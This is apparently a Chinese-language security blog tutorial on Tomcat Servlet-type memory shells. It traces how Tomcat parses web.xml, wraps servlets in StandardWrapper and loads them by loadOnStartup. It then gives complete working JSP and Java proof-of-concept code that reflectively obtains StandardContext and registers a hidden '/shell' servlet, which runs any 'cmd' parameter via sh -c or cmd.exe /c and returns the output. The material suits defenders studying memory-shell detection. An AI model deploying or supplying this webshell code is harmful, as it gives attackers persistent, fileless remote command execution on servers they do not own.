Servlet 创建
可以先看一下 Servlet 这个接口有哪些方法
public interface Servlet {
void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。
ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数
void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。
String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.
void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源
}
从 Servlet 接口里面我们可以看得出来,如果我们要写恶意代码,应该是写在 service()
方法里面,所以这里我们直接创建一个恶意的 Servlet,代码如下。
package servlet;
import javax.servlet.*;
import java.io.IOException;
public class TestServlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
}catch (Exception e) {
e.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
在web.xml里配置一下:
在 servlet 的配置当中,<load-on-startup>1</load-on-startup>
的含义是: 标记容器是否在启动的时候就加载这个 servlet。 当值为 0 或者大于 0 时,表示容器在应用启动时就加载这个 servlet; 当是一个负数时或者没有指定时,则指示容器在该 servlet 被选择时才加载。 正数的值越小,启动该 servlet 的优先级越高。
这里我们将load-on-startup值设置为1,原因是为了便于简化调试的过程,在每个Servlet的启动顺序在web.xml中,如果没有声明 load-on-startup 属性(默认为-1),则该Servlet不会被动态添加到容器,这一点比较重要
<servlet>
<servlet-name>test</servlet-name>
<servlet-class>servlet.TestServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>test</servlet-name>
<url-pattern>/test</url-pattern>
</servlet-mapping>
访问对应的路由,可以看到成功执行了命令
Servlet 流程分析
我们知道Tomcat中Web应用执行的流程为Listener —-> Filter —-> Servlet,所以我们在调用 Servlet 的时候也会看到之前的 Listener 与 Filter 的流程。
如图,这里我先把断点下在了 service()
方法,我们可以看到这个地方是有 Filter 的流程的。
正式开始分析,我们把断点下在 init()
方法这里,前面说过,init
方法在创建好实例后会被立即调用,仅调用一次,也就是说我们第一次访问该Servlet的时候才会被调用。
此时我们可以看到其调用Servlet前的整个流程
获取到 HTTP 请求
把断点下到 HTTP11Processor 类的 service()
方法,重新开始调试。
这个 HTTP11Processor 类是一个网络请求的类,它的作用是处理数据包,而它的 service()
方法主要是在处理 HTTP 包的请求头,主要做了赋值的工作,后续会通过 ByteBuff 进行数据解析。
所以这一块并不是很重要,都是一些基础的赋值,我们继续往下走,直接到调用getAdapter().service()
这里
跟进,我们去到的是 CototeAdapter 类的 service()
方法里, CoyoteAdapter 是 Processor 和 Valve 之间的适配器。
首先我们关注传参,传入的参数是 org.apache.coyote.Request 和 org.apache.coyote.Response 类型的对象,后面又进行了 getNote()
方法的调用。
这两个 getNote()
方法都是取 notes 数组里指定 pos 的对象,也就是去取notes[1]
的这个对象,这里没太懂他的逻辑,不过不重要,反正就是返回了对应的request和response对象。
我们继续往下看,如果 request == null
,进行一系列的赋值。
重点是这里
// Calling the container
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
首先是变量名 connector,它里面存了我们一整个的 HTTP 包。
connector.getService()
返回的是 Connector 关联的 Service 属性,也就是 StandardService 类型的对象。
connector.getService().getContainer()
返回的是 Service 里的容器 Engine 属性,也就是 StandardEngine 对象。
connector.getService().getContainer().getPipeline()
返回的是 StandardEngine 里的 Pipeline 属性,也就是 StandardPipeline 对象。
connector.getService().getContainer().getPipeline().getFirst()
返回的是 StandardPipeline 的 Valve 类型的数行 first 或者 basic
然后就进入到invoke()
方法,StandardEngineValve#inovke()
进行了 host 相关的简单判断。再继续往下,host 是 Tomcat 内置的 host。
后续的内容就和 Filter 很类似,也就是多个 invoke
的调用,综上,这其实是一个获取到 HTTP 请求,进行预处理的过程。
读取 web.xml
这里的断点位置是 ContextConfig#webConfig()
,读取 web.xml 的流程与 Listener 型内存马里面基本类似,但是还是有点不同。
开始调试,首先我们获取到了此项目里面的 web.xml 文件,然后后面的判断语句就是解析文件中的配置加载到webXml对象中
中间会进行一些处理,直接跟到configureContext(webXml)
方法即可,从注释中也可以看出来这部分的功能就是将web.xml中的配置加到context中
我们看到 configureContext()
方法也是先获取Filter,Listener还有 localeEncodingMappings 等,继续往下走,就看到开始进行 Servlet 的读取。
创建与装载 StandardWrapper
此时我们这里有3个Servlet,我们先循环到自定义的那个Servlet中。
createWrapper()
,实际上就是创建了 StandardWrpper,后续代码会对它进行加载与处理。
继续往下走,这里很明显,我们将所有的 servlets 保存到了 Wrapper 里面,如图。后面代码做的很大一部分工作都是在把 web.xml 里面的数据写到 StandardWrapper 里面
我们继续往下看,后续都是一些添加的操作了,这里我们先跳过了。继续往下看,走到context.addChild()
方法,这里就是将 Wrapper 添加到 context 中,这里对应的是 StandardContext。
添加将Servlet添加到Context后接着循环webXml对象中的servletMappings,这是一个HashMap对象,很好理解,什么url路径就对应什么Servlet,把这些映射关系加到Context中。
总结一下,Servlet 的生成与动态添加依次进行了以下步骤
- 通过
context.createWrapper()
创建 Wrapper 对象; - 设置 Servlet 的
LoadOnStartUp
的值; - 设置 Servlet 的 Name ;
- 设置 Servlet 对应的 Class ;
- 用context将 Servlet 添加到 context 的 children 中;
- 将 url 路径和 servlet 类做映射。
此时再来看一下这张图,此时就很好理解了
我们自定义的Servlet经过Wrapper包装之后添加到了Context中。
加载 Servlets
Context加载Servlet前面的加载过程都不是关注的重点,我们直接定位到StandardContext#startInternal
方法中,跟到这里
跟进,进入到 loadOnStartup()
方法
这里传进来的children就是一个装了当前Context所拥有的Wrapper对象的数组,然后生成一个map,里面装了loadOnStartup和对应的Wrapper。
然后下面就是循环这个map来进行Wrapper的加载,由于map的键是loadOnStartup的值,符合一开始所说的是按照loadOnStartup从小到大的顺序进行加载。
并且上面的步骤并没有把loadOnStartup的值为0的Wrapper对象放到map中,也就是启动的时候并不会加载loadOnStartup为-1的Servlet,这是Tomcat的懒加载机制,也对应了一开始我们所说的<load-on-startup>1</load-on-startup>
的值需要改为1,才会在一开始被加载,实际上只要大于0都可以,不影响。
Servlet 内存马编写
小结一下 Servlet 的工作流程
首先获取到 HTTP 请求,这里的处理比较简单,和之前 Filter 流程分析是一样的。
- 后面读取到 web.xml,并且在 WebConfig 方法里面还创建了一个 StandardWrapper,而我们的 Servlets 都会保存到这个 StandardWrapper 里面;
- 后续这个 Wrapper 是放到 Context 里面去的,这时候就应该祭出这句名言了:
“一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。”
“一个 Wrapper 对应一个 Servlet。负责管理 Servlet”
在创建与加载完 StandardWrapper 之后,我们肯定是需要把加载的 Servlets 从 StandardWrapper 里面读取出来,所以这里就到了我们最后的一个过程:加载 Servlets,对应有一个很重要的属性值 ———— loadOnStartUp
设想 Servlet 内存马的攻击
分析一下应该如何攻击;有这么几个关键点:
- StandardWrapper
- StandardContext
- 恶意 Servlet
- 获取
StandardContext
对象 - 编写恶意 Servlet
- 通过
StandardContext.createWrapper()
创建StandardWrapper
对象 - 设置
StandardWrapper
对象的loadOnStartup
属性值 - 设置
StandardWrapper
对象的ServletName
属性值 - 设置
StandardWrapper
对象的ServletClass
属性值 - 将
StandardWrapper
对象添加进StandardContext
对象的children
属性中 - 通过
StandardContext.addServletMappingDecoded()
添加对应的路径映射
编写 Servlet 内存马的 PoC(.jsp)
获取 StandardContext 对象
StandardContext对象获取方式多种多样
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
或
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
编写恶意Servlet
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
创建Wrapper对象并封装Servlet
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>
将 Wrapper 添加进 StandardContext
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
Servlet 型的内存马无法使所有请求都经过恶意代码,只有访问我们设定的 url 才能触发
Servlet 型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现。
编写 Servlet 内存马的 PoC(.java)
package servlet;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/evilServlet")
public class servletShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = req.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
String name = servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Servlet 型内存马相比于前几种的内存马,更容易被查杀出来,Filter 和 Listener 型内存马更改为简单粗暴,因为它们先于 Servlet 内存马之前插入。